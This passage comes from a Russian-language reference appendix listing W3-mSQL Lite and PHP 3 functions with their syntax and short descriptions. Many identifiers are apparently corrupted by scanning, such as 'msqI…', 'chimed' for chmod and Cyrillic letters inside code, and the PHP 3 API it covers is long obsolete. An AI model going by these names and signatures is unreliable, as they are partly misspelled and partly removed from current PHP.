
    Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

    chmod

    $result = chmod($filename, $mode)

    Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

    chop

    $string = chop($string)

    Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

    close

    close ($fd)

    Закрывает файл, связанный с указанным файловым дескриптором.

    ctime

    $time = ctime($time)

    Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

    echo

    echo($string)

    Печатает заданную строку. Все переменные в строке заменяются на их значения.

    fprintf

    fprintf($fd, $string [, arg ...])

    Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

    gethostbyaddr

    $hostinfo = gethostbyaddr($address)

    Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа "127.0.0.1". В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

    gethostbyname

    $hostinfo = gethostbyname($host)

    Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.


    getpid

    $pid = getpid()

    Возвращает идентификатор процесса (PID) программы Lite.

    getpwnam

    $entry = getpwnam($username)

    Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  • Имя пользователя.

  • Пароль.

  • UID.

  • GID.

  • GECOS (полное имя и другая дополнительная информация).

  • Домашний каталог.

  • Оболочка.

    getpwuid

    $entry = getpwuid($UID)

    Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

    includeFile

    includeFile($filename)

    Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

    kill

    $result = kill($pid, $signal)

    Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    link

    $result = link($file, $newlinkname)

    Создает "жесткую" ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    mkdir

    $result = mkdir($directoryname)

    Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    msqIConnect

    $socket = msqlConnect($host)

    Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

    msqICIose

    msqlClose($socket)

    Закрывает подключение, указанное сокетом socket.

    msqIDataSeek

    msqlDataSeek($result, $location)

    Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

    msqlEncode

    $string = msqlEncode($string)

    Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

    msqlFetchRow

    $row = msqlFetchRow($result)

    Эта функция возвращает в виде массива следующую доступную запись из result.

    msqIFieldSeek

    msqlFieldSeek($result, Slocation)


    Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..



    msqIFreeResult

    msqlFreeResult($result)

    Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

    msqllnitFieldList

    $result = msqlInitFieldList($socket, $database, $table)

    Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

    msqIListDBs

    $databases = msqlListDBs($socket)

    Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

    msqIListField

    $tableinfo = msqlListField($result)

    Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  • Имя поля

  • Имя таблицы

  • Тип таблицы

  • Длина

  • Флаги

    msqIListTables

    $tables = msqlListTables($socket, $database)

    Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

    msqINumRows

    msqlNumRows($result)

    Возвращает количество записей в данных, содержащихся в result.

    msqIQuery

    $result = msqlQuery($socket, $query)

    Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

    msqISelectDB

    $result = msqlSelectDB($socket, $database)

    Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

    msqIStoreResult

    $result = msqIStoreResult

    Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

    open

    $fd = open($file, $mode)

    Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:


    > Открыть файл для записи

    <Открыть файл для чтения

    <> Открыть файл для чтения или записи

    <Р Создать именованный канал и открыть его для чтения

    >Р Создать именованный канал и открыть его для записи

    <| Выполнить файл как команду и прочесть результаты

    >| Выполнить файл как команду и сделать запись в процесс

    pid

    $pid = getppid()

    Возвращает идентификатор (PID) родительского для программы Lite процесса.

    printf

    printf($string [, arg, ... ])

    Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

    read

    $data = read($fd, $length)

    Читает указанное в length число байт из заданного файлового дескриптора.

    readln

    $line =readln($fd)

    Читает следующую строку из указанного файлового дескриптора.

    readtok

    $data = readtok($fd, $token)

    Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

    rename

    $result = rename($oldname, $newname)

    Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    rmdir

    $result = rmdir($path)

    Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

    setContentType

    setContentType($string)

    Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

    sleep

    sleep($time)

    Останавливает работу программы на указанное количество секунд.

    split

    $strings = split($string, $token)

    Разделяет заданную строку на массив строк, используя как разделитель символ token..

    stat

    $stat = stat($file)

    Возвращает массив информации о файле file. В массиве содержатся следующие элементы:


  • Номер inode.

  • Режим файла.

  • Количество ссылок на файл.

  • UID.

  • GID.

  • Размер файла.

  • Atime.

  • Mtime.

  • Ctime.

  • Размер блока файловой системы (в байтах).

  • Количество используемых блоков файловой системы.

    strftime

    $time = strftime($format, $time)

    Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:



    День недели в виде местных сокращений названий дней недели.



    День недели в виде местных полных названий дней недели.

    %b

    Месяц в виде местных сокращенных названий.



    Месяц в виде местных полных названий месяцев.

    %d

    День месяца (01-31).

    %D

    День в виде % m/% d/% у.



    День месяца (1-31, перед числами первого десятка добавляется пробел).



    Час (00-23).

    %I

    Час (00-12).

    %j

    День в году (001-366).

    %h

    Часы (0-23, отделенные пробелами).

    %l

    Часы (1-12, отделенные пробелами).

    %m

    Номер месяца (01—12).

    %M

    Минуты (00-59).



    AM или РМ.

    %S

    Секунды (00-59).



    Время в виде % Н:% М:% S.

    %U

    Номер недели в году (01-52).

    %w

    День недели (0-6, воскресенье является 0).

    %y

    Год века (00-99).

    %Y

    Год, включая век (например 1999).

    strseg

    $string = strseg($string, $start, $end)

    Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

    sub

    $string = sub($string, $ехр1, $ехрr2)

    Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

    substr

    $string = substr($string1, $regexp, $string2)

    Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).


    tr

    $string = tr($string, $list1, $list2)

    Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку "Rabbi"). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку "E.E. CUMMINGS."

    truncate

    $result = truncate($fale, $length)

    Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

    umask

    umask($mask)

    Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

    unixtime2*

    $year = unixtime2year($time)

    $month = unixtime2month($time)

    $day = unixtime2day($time)

    $hour = unixtirne2hour($time)

    $min = unixtime2min($time)

    $sec = unixtime2sec($time)

    Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

    unlink

    $result = unlink("filename")

    Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

    urIEncode

    $string = urlEncode($string)

    Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

    PHP

    Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

    abs

    $pos_num = abs($number);

    Abs возвращает абсолютное значение аргумента number.

    addslashes

    $escaped_string = addslashes($string); .

    Возвращает копию строки string , в которой экранированы все символы $ \ или '.

    asort

    $sorted_array = asort($array);

    Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    bindec

    $decimal = bindec($binary);

    Функция возвращает десятичный эквивалент указанного двоичного числа binary.

    ceil

    $higher_integer = ceil($number);

    Округляет заданное число до следующего целого числа и возвращает результат как число с плавающей запятой.

    chdir

    chdir($directory);

    Изменяет текущий рабочий каталог на каталог, заданный аргументом.

    chgrp

    chgrp($file,Sgroupj;

    Изменяет идентификатор группы заданного файла на группу, указанную в аргументе.

    chimed

    chimed($file,$permissions);

    Функция изменяет права доступа к файлу на указанные в аргументе permissions . Этот аргумент задается в восьмеричном виде.

    chown

    chown($file, Sowner);

    Изменяет владельца заданного файла на указанного в аргументе owner. Эта функция будет работать только в том случае, если РНР выполняется от имени суперпользователя, что обычно не рекомендуется.

    chop

    $stripped_string = chop($string);

    Возвращает строку string , у которой удалены все имевшиеся концевые пробелы, табуляции и символы новой строки.

    chr

    $character = chr($number);

    Возвращает символ ASCII, соответствующий заданному числовому аргументу. Шестнадцатеричные и восьмеричные числа обозначаются как 0xff и 077 соответственно. Остальные числа считаются десятичными.


    clearstack

    clearstack();

    Очищает текущий стек. Эта функция создана специально, чтобы обойти некоторые ограничения в дизайне РНР. Если у вас есть пользовательская функция, содержащая большой цикл, вы можете столкнуться с проблемами, связанными с нехваткой стекового пространства. Если это происходит, вызовите clearstack() из этого цикла. Недостаток данного метода в том, что вашу функцию невозможно будет вызвать из другой функции. Результат функции следует сохранить в переменной, которая может быть затем использована по вашему усмотрению.

    clearstatcache

    clearstatcache();

    Очищает кэш, используемый всеми функциями, которые получают информацию о файлах. Так как доступ к такой информации занимает достаточно много времени, РНР хранит ее в кэше. Если вам необходи-ма уверенность, что используете самую свежую информацию о файле (то есть не кэшированную), вызовите функцию clearstatcache(); перед получением этой информации.

    closedir

    closed!r($directorу);

    Закрывает каталог, открытый функцией opendir.

    closelog

    closelog();

    Останавливает всю журнализацию, выполняемую функцией syslog .

    COS

    $result = cos($number);

    Возвращает косинус аргумента number.

    count

    $number = count($array);

    Возвращает число элементов в массиве array. Если переменная не является массивом, функция вернет значение 1 (так как переменная подобна массиву с только одним элементом). Если аргумент array не указан, функция вернет 0.

    crypt

    $encrypted_string = crypt($string);

    $encrypted_string = crypt($string, $salt);

    Шифрует заданную строку. Используется стандартный метод шифрования Unix - DES, тот же, что используется для шифрования паролей и т. д. Можно задать необязательный двухсимвольный аргумент salt (база для шифрования).

    date

    $formatted_date = date($format,$time);

    Вернет time (стандарное время Unix, выдаваемое функцией Time), отформатированное в указанный format. Возвращаемое значение имеет тот же вид, что и format, где все указанные ниже символы заменены на соответствующие значения:


    А АМ/РМ

    a am/pm

    D День (например Sun)

    d День (например 13)

    F Месяц (например February)

    Н Час в 24-часовом формате (например 17)

    h Час в 12-часовом формате (например 5)

    i Минуты (например 30)

    l День (например Sunday)

    М Месяц (например Feb)

    m Месяц (например 02)

    s Секунды (например 27)

    Y Год (например 1998)

    у Год (например 98)

    U Секунды с начала эпохи (отсчета) (например 803537321)

    Z День года (например 154)

    dblist

    $db_info = dblist();

    Вернет список СУБД, поддерживаемых РНР.

    decbin

    $binary = decbin($decimal);

    Возвращает двоичный эквивалент указанного десятичного числа.

    dexhex

    $hex = dechex($decimal);

    Возвращает шестнадцатеричный эквивалент указанного десятичного числа.

    decoct

    $octal = decoct($decimal);

    Возвращает восьмеричный эквивалент указанного десятичного числа.

    doubleval

    $double = doubleval($variable);

    Возвращает значение переменной в виде числа с плавающей запятой.

    echo

    echo [format_string] expression [, expression ...]

    He является настоящей функцией, скорее, это встроенная в РНР версия функции printf языка С. В самом простом варианте echo напечатает результат выражения expression . Можно указать до пяти выражений, результат каждого из которых будет напечатан по очереди. Также можно указать строку форматирования, которая должна иметь тот же вид, что и в функции printf языка С или Perl.

    end

    end($array);

    Устанавливает внутренний указатель массива array на последний элемент массива.

    ereg

    $result = ereg($expression, $string);

    $result = ereg($expression, $string, $match_array);

    Вернет true, если строка string отвечает регулярному выражению в expression . Если в качестве третьего аргумента указан массив, значение, отвечающее выражению, будет помещено в массив.

    eregi

    $result = eregi($expression, $string);

    $result = eregi($expression, Sstring, $match_array);

    Идентично ereg, за исключением того, что при сравнении игнорируется регистр.

    ereg_replace

    ereg_replace($expression, $replacement_string, $string);


    Замещает все части в указанной строке string , которые отвечают выражению expression , строкой replacement_string.

    eregi_replace

    eregi_replace($expression, $replacement_string, $string);

    Идентично ereg_replace, за исключением того, что при сравнении игнорируется регистр.

    escapeshellcmd

    $safe_string = escapeshellcmd(Sstring);

    Возвращает копию строки string, все спецсимволы которой перекодированы так, что строку можно безопасно использовать с функциями exec или system.

    eval

    eval($string);

    Обрабатывает содержимое строки string таким образом, как если бы это был скрипт РНР. Для строки выполняется подстановка переменных, поэтому, если вы хотите использовать переменную в этом "минискрипте", ее следует заэкранировать.

    exec

    $last_line = exec($command);

    $last_line = exec($command, $output_array);

    $last_line = exec($command, $output_array, $return_code);

    Выполняет в вызываемой подоболочке Unix команду command . Возвращается только последняя строка результата команды. Если вторым аргументом указан массив, все строки, выводимые командой, будут помещены в него. Если есть третий аргумент, в эту переменную записывается код возврата команды.

    exit

    exit();

    Завершение синтаксического анализа HTML-файла.

    ехр

    $result = exp($number);

    Возвращает число е, возведенное в указанную степень.

    fclose

    fclose($fd);

    Закрывает файл, открытый fopen.

    feof

    $result = feof($fd);

    Возвращает true, если файловый дескриптор fd находится в конце файла.

    fgets

    $line = fgets($fd, $max_bytes);

    Возвращает следующую строку (длиной до max_bytes ) из файла, на который указывает fd.

    fgetss

    $line = fgetss($fd, $max_bytes);

    Идентична fgets за исключением того, что эта функция пытается удалить любые теги HTML или РНР при чтении файла.

    file

    $аггау = file($filename);

    Возвращает массив, каждый элемент которого содержит строку файла, указанного в filename.

    fileatime

    $time = fileatime($filename);

    Возвращает (в стандартном формате времени Unix) время последнего доступа к файлу filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает — 1.


    filectime

    $time = filectime($filename);

    Возвращает время ( в стандартном формате времени Unix) последнего изменения статуса файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filegroup

    $group_id = filegroup($filename);

    Возвращает идентификатор группы файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileinode

    $inode = fileinode($filename);

    Возвращает индексный дескриптор файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filemtime

    $time = filemtime($filename);

    Возвращает время (в стандартном формате времени Unix) последнего изменения файла filename . Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileowner

    $owner = fileowner($filename);

    Возвращает ID владельца файла. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    fileperms

    $permissions = fileperms($filename);

    Возвращает права доступа к указанному в filename файлу. Если эта информация по каким-либо причинам не может быть получена, функция возвращает —1.

    filesize

    $size = filesize($filename);

    Возвращает размер файла в байтах. Если эта информация по каким-либо причинам не может быть получена, функция возвращает -1.

    filetype

    $type = filetype($filename);

    Возвращает одно из следующих значений, указывающих на тип файла

    filename : dir, file, fifo, char, block или link.

    floor

    $lower_integer = floor($number);

    Округляет число number до ближайшего меньшего целого и возвращает результат в виде числа с плавающей запятой.

    flush

    flush();

    Сбрасывает содержимое буфера на стандартный вывод, так что конечный пользователь сразу видит все результаты.

    fopen

    $fd = fopen($filename, $mode);

    Открывает файл в режиме mode и возвращает указатель на дескриптор, связанный с открытым файлом. Как и в функции fopen языка С, режим может быть одним из следующих: "r", "r+", "w", "w+", "a", "а+". Функция возвращает -1, если файл невозможно открыть.


    fputs

    fputs($fd, $string);

    Записывает строку string в файл, связанный с дескриптором fd.

    fpassthru

    fpassthru($fd);

    Печатает все оставшиеся данные файла, на который указывает дескриптор fd.

    fseek

    fseek($fd, $position);

    Устанавливает дескриптор файла fd на позицию (смещение от начала файла), указанную в аргументе position.

    fsockopen

    $fd = fsockopen($hostname,$port);

    Открывает соединение с hostname на порте port и возвращает дескриптор файла, связанный с открытым соединением. Если номер порта равен 0, аргумент hostname будет рассматриваться как имя в стиле имени файла сокета Unix на локальном хосте. В случае ошибки функция вернет следующие значения: -3, если не удалось создать сокет; —4, если не удалось разрешить имя хоста (установить IP-адрес); —5, если в соединении было отказано или оно закончилось по тайм-ауту; -6, если потерпел неудачу вызов fdopen() и, наконец, -7, если потерпел неудачу вызов setvbuf().

    ftell

    Sposition = ftell($fd);

    Возвращает позицию указателя в файле, связанном с fd. Это значение можно использовать в качестве аргумента для fseek.

    getaccdir

    $directory = getaccdir();

    Возвращает имя каталога, где хранятся файлы конфигурации РНР.

    getenv

    $value = getenv($variable);

    Возвращает значение переменной окружения, указанной в variable .

    gethostbyname

    Saddress = gethostbyname($hostname);

    Возвращает IP-адрес указанного в hostname хоста.

    gethostbyaddr

    $hostname = gethostbyaddr($address);

    Возвращает имя хоста по указанному IP адресу.

    getimagesize

    $file_info_array = getimagesize($filename);

    Возвращает массив информации о графическом изображении в указанном filename. Первый элемент массива- ширина изображения, второй - высота, и третий - тип рисунка. В настоящее время распознаются типы GIF, JPG и PNG. Четвертым элементом является строка формата "width=xxx height=yyy", которая может непосредственно использоваться в теге HTML .

    getlastaccess

    $time = getlastaccess();

    Возвращает дату и время (в стандартном формате Unix) последнего обращения к странице. Эта функция будет работать, только если РНР был откомпилирован с опцией регистрации доступа.


    getlastbrowser

    $browser = getlastbrowser();

    Возвращает идентификационную строку броузера, использованного при последнем обращении к текущей странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastemail

    $email = getlastemail();

    Возвращает адрес электронной почты пользователя, который последним обращался к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlasthost

    $host = getlasthost();

    Возвращает имя хоста, с которого было сделано последнее обращение к странице. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getiastmod

    $time = getlastmod();

    Возвращает время (в стандартном формате времени Unix) последнего изменения страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlastref

    $url = getlastref();

    Возвращает URL узла, с которого пришел последний посетитель страницы. Эта функция работает, только если РНР был откомпилирован с опцией регистрации доступа.

    getlogdir

    $directory = getlogdir();

    Возвращает каталог, в котором находятся журналы регистрации РНР.

    get my in ode

    $inode = getmyinode();

    Возвращает указатель inode HTML-файла, содержащего текущий скрипт РНР.

    getmypid

    $pid = getmypid();

    Возвращает идентификатор текущего РНР-процесса.

    getmyuid

    $id = getmyuid();

    Возвращает идентификатор пользователя владельца HTML-файла, содержащего текущий скрипт.

    getrandmax

    $number = getrandmax();

    Возвращает максимально возможное число, которое может вернуть функция rand.

    getstartlogging

    $time = getstartlogging();

    Возвращает время (в стандартном формате Unix) начала регистрации на странице HTML, которая содержит текущий скрипт.

    gettoday

    $hits = gettoday();

    Возвращает число обращений к данной странице, начиная с 0 часов текущих суток.

    gettotal

    $hits = gettotal();

    Возвращает общее число обращений к текущей странице с начала регистрации доступа к странице.


    gettype

    $type = gettype($variable);

    Возвращает одно из следующих значений: "integer", "double" или "string", указывающих на тип заданной переменной variable .

    gmdate

    $formatted_date = gmdate($format, $time);

    Идентично Date за исключением того, что для обработки значений используется время по Гринвичу (GMT) вместо местного времени.

    header

    header($header_string);

    Выводит header_string как HTTP-заголовок. Эта функция должна использоваться перед любым HTML-текстом в файле и перед любыми командами РНР, которые выдают какой-либо результат.

    hexdec

    $decimal = hexdec($hex);

    Возвращает десятичный эквивалент шестнадцатеричного аргумента hex.

    htmlspecialchars

    $html_string = htmlspecialchars($string);

    Возвращает строку string, заменяя любые специальные символы (включая <, >, &, " и все ASCII-символы с кодами от 160 до 255) на соответствующие им HTML-коды.

    imagearc

    imagearc($image, $сх, $су, $width, $height, $start, $end, $color);

    Рисует сектор эллипса в изображении image цветом, указанным в color. Центр эллипса находится в точке (сх, су), ширина указана аргументом width, высота- height, начальная и конечная точки указываются в градусах аргументами start и end соответственно.

    imagechar

    imagechar($image, $size, $x, $y, $character, $color);

    Рисует символ character в изображении image цветом, назначенным в color, с размером шрифта size. Левый верхний угол символа находится в точке (х, у).

    imagecharup

    imagecharup($image, $size, $x, $y, $character, $color);

    Функция идентична imagechar за исключением того, что символ выводится вертикально, (х, у) указывают на координаты верхнего левого угла.

    imagecolorallocate

    $color = imagecolorallocate($image, $red, $green, $blue);

    Возвращает цвет для работы с изображением image, используя указанные RGB-компоненты.

    imagecolortransparent

    imagecolortransparent($image, $color);

    Устанавливает color как прозрачный цвет для изображения image.

    imagecopyresized


    imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y, $dest_width, $dest_heigth, $src_width, $src_heigth);

    Копирует прямоугольную область из изображения src_image в изображение dest_image , изменяя размер, если это необходимо. Аргументы dest_x и dest_y являются координатами левой верхней вершины прямоугольника в принимающем изображении, a dest_height и dest_width - его высотой и шириной. Аргументы src_x, src_y,' src_width, и src_heigth являются соответствующими значениями для изображения-источника.

    imagecreate

    $image = imagecreate($width, $height);

    Возвращает идентификатор изображения, указывающий на новое изображение с заданными размерами.

    imagecreatefromgif

    $image = imagecreatefromgif($filename);

    Возвращает идентификатор изображения, указывающий на изображение в заданном файле filename .

    imagedestroy

    imagedestroy($image);

    Освобождает все ресурсы, занятые image.

    imagefill

    imagefill($image, $х, $у, $color);

    Выполняет заливку изображения image цветом color, начиная с точки (х,у).

    imagefilledpolygon

    imagefilledpolygon($image, $points_array, $num_points, $color);

    Создает многоугольник в image, заполненный цветом color. Второй аргумент является массивом вершин многоугольника. Первые два элемента - это значения х и у первой вершины. Следующие два элемента— координаты следующей вершины и т. д. Третий аргумент указывает на число вершин многоугольника.

    imagefilledrectangle

    imagefilledrectangle($image, $х1, $у1, $х2, $у2, $color);

    Создает прямоугольник в image, заполненный цветом color. Аргументы х1 и у1 образуют верхнюю левую вершину прямоугольника, а х2 и у2 — правую нижнюю.

    imagefilltoborder

    imagefilltoborder($image, $x, $y, $border, $color);

    Функция идентична imagefill за исключением того, что заливка цветом прекращается там, где встречается цвет border.

    imagegif

    imagegif($image);

    imagegif($image, $filename);

    Выводит изображение image как рисунок GIF. Если указан второй аргумент, рисунок GIF будет записан в этот файл, иначе он будет направлен прямо в броузер.


    imageinterlace

    imageinterlace($image, $interlace);

    Функция переключает бит чередования для изображения image на значение interlace , которое может быть равно 1 (включить) или 0 (выключить).

    imageline

    imageline($iraage, $х1, $у1, $х2, $у2, $color);

    Создает линию указанного в color цвета от точки (х1, у2) до точки (х2, у2) в изображении image.

    imagepolygon

    imagepolygon($image, $points, $numpoints, $color);

    Функция идентична imagef illedpolygon за исключением того, что многоугольник не заполняется.

    imagerectangle

    imagerectangle($image, $х1, $у1, $х2, $у2, $color);

    Функция идентична imagefilledrectangle за исключением того, что прямоугольник не заполняется.

    imagesetpixel

    imagesetpixel($image, $x, $y, $color);

    Рисует точку в изображении image в позиции (х, у) цветом, указанным в color.

    imagestring

    imagestring($image, $size, $x, $y, $string, $color);

    Функция идентична imagechar за исключением того, что она выводит всю строку string.

    imagestring up

    imagestringup($image, Ssize, $x, $y, $string, $color);

    Функция идентична imagecharup за исключением того, что она выводит всю строку string.

    imagesx

    $x_size = imagesx($image);

    Возвращает ширину в пикселах изображения, указанного в image.

    imagesy

    $y_size = imagesy($image);

    Возвращает высоту изображения в пикселах.

    include

    include($filename);

    Вставляет файл, указанный в filename , в текущую страницу. Выполняется полный синтаксический PHP-анализ подключаемого файла. В поисках файла filename просматривается каждый из каталогов, указанных в переменной окружения PHP_INCLUDE_ PATH.

    initsyslog

    initsyslog();

    Подготавливает систему к регистрации событий с помощью syslog. После вызова этой функции вы можете использовать syslog для записи в журнал.

    intval

    $integer = intval($variable);

    Возвращает содержимое variable в виде целого числа.

    isset

    $defined = isset($variable);

    Возвращает 1, если переменная variable определена, иначе вернет 0.

    key

    $key = key($array);


    Возвращает ключ текущего элемента массива array. Для ассоциативного массива возвращает имя ключа. Для обычного массива возвращает номер элемента.

    link

    link($target, $filename);

    Создает жесткую ссылку от filename к target.

    linkinfo

    $info = linkinfo($filename);

    Возвращает истинное значение, если ссылка, указанная в filename , существует (но не обязательно существует файл, на который указывает ссылка). В случае ошибки функция возвращает —1.

    log

    $result = log($number);

    Возвращает натуральный логарифм аргумента number.

    log10

    $result = Iog10($number);

    Возвращает логарифм по основанию 10 аргумента number.

    logas

    logas($filename);

    Регистрирует посещение текущей страницы как посещение указанного filename вместо файлового имени страницы.

    mail

    mail($to, $subject, $message);

    mail($to, $subject, $message, $headers);

    Посылает электронное письмо по адресу, указанному в параметре to, с темой, указанной в параметре subject, и поместит в тело письма значение аргумента message . Если указан четвертый аргумент, он добавляется к заголовку письма.

    max

    $maximum = max($array);

    Возвращает максимальное значение в массиве array. Если это строковый массив, функция возвращает элемент, последний по алфавиту.

    md5

    $hash = md5($string);

    Возвращает хэш (MD5) строки string .

    microtime

    $ms = microtime();

    Возвращает строку, содержащую часть текущей секунды (в виде десятичной дроби), за которой следует стандартное время Unix.

    min

    $minimum = min($array);

    Возвращает минимальное значение в массиве array. Если это строковый массив, функция вернет элемент, который был бы первым по алфавиту.

    mkdir

    mkdir($directory, $mode);

    Создает каталог directory с указанным режимом mode, mode должно быть восьмеричным значением.

    mktime

    $time = mktime($hour,$minute,$second,$month,$day, Syear);

    Возвращает время в стандартном формате времени Unix, основываясь на заданных аргументах. Если указано менее шести параметров, параметры справа считаются соответствующими текущему значению времени (например, если дано четыре параметра, используются текущий день и год).


    msql mysql

    $result = msql($database, $query);

    $result = mysql($database, $query);

    Посылает запрос query базе данных mSQL/MySQL, указанной в аргументе database. Для не SELECT-запросов функция возвращает 0 для mSQL 1.x и MySQL, а для mSQL 2.x возвращает число измененных записей. Для запроса SELECT функция возвращает идентификатор результата, который может быть использован в других функциях msql_ *. В случае ошибки функция вернет -1.

    my sql_af f ected_ro ws

    $num_rows = mysql_affected_rows();

    Возвращает число записей, измененных последней из команд INSERT, UPDATE или DELETE.

    msql_close mysql_close

    msql_close(); mysql_close();

    Закрывает подключение к серверу базы данных mSQL/MySQL.

    msql_connect mysql_connect

    msql_connect($hostname);

    mysql_connect($hostname);

    mysql_connect($hostname, Susername);

    mysql_connect($hostname, $username, Spassword);

    Создает соединение с сервером базы данных mSQL/MySQL на указанном хосте hostname. Подключение к серверу на локальном хосте осуществляется с помощью m(y)sql_connect("localhost"). Если при первом вызове m(y)sql нет подключения к базе данных, подключение к локальному хосту создается автоматически. Для MySQL может быть указан необязательный аргумент username или комбинация username/ password. Если PHP запущен в расширенном режиме безопасности (называемом SAFE MODE), username должен принадлежать либо владельцу HTML-документа, либо владельцу процесса веб-сервера.

    msql_createdb mysql_createdb

    msql_createdb($database); mysql_createdb($database);

    Создает указанную базу данных.

    msql_dbname mysql_dbname

    $db = msql_dbname($result, $i);

    $db = mysql_dbname($result, $i);

    Вернет имя базы данных, хранящееся в i-том поле результата, возвращенного функцией m(y)sql_listdbs .

    msql_dropdb mysql_dropdb

    msql_dropdb($database);

    mysql_dropdb($database);

    Удаляет базу данных database и все ее таблицы.

    msqHieldflags mysql_fieldflags

    $flags = msql_fieldflags($result, $i);

    $flags = mysql_fieldflags($result, $i);


    Возвращает флаги для в i-того поля в result. Возвращаемое значение может быть одним из следующих: "primary key", "not null", "not null primary key" или << >>.

    msql_fieldlen mysql_fieldlen

    $length = msql_fieldlen($result, $i);

    $length = mysql_fieldlen($result, $i);

    Возвращает длину i-го поля в result.

    msql_fieldname mysql_fieldname

    $name = msql_fieldname($result, $i);

    $name = mysql_fieldname($result, $i);

    Возвращает имя столбца i-го поля в result .-

    msql_fieldtype mysql_fieldtype

    $type = msql_fieldtype($result, $i);

    $type = mysql_fieldtype($result, $i);

    Возвращает тип i-го поля в result (то есть "char", "real" и т. д.).

    msql_freeresult mysql_freeresult

    msql_freeresult($result);

    mysql_freeresult($result);

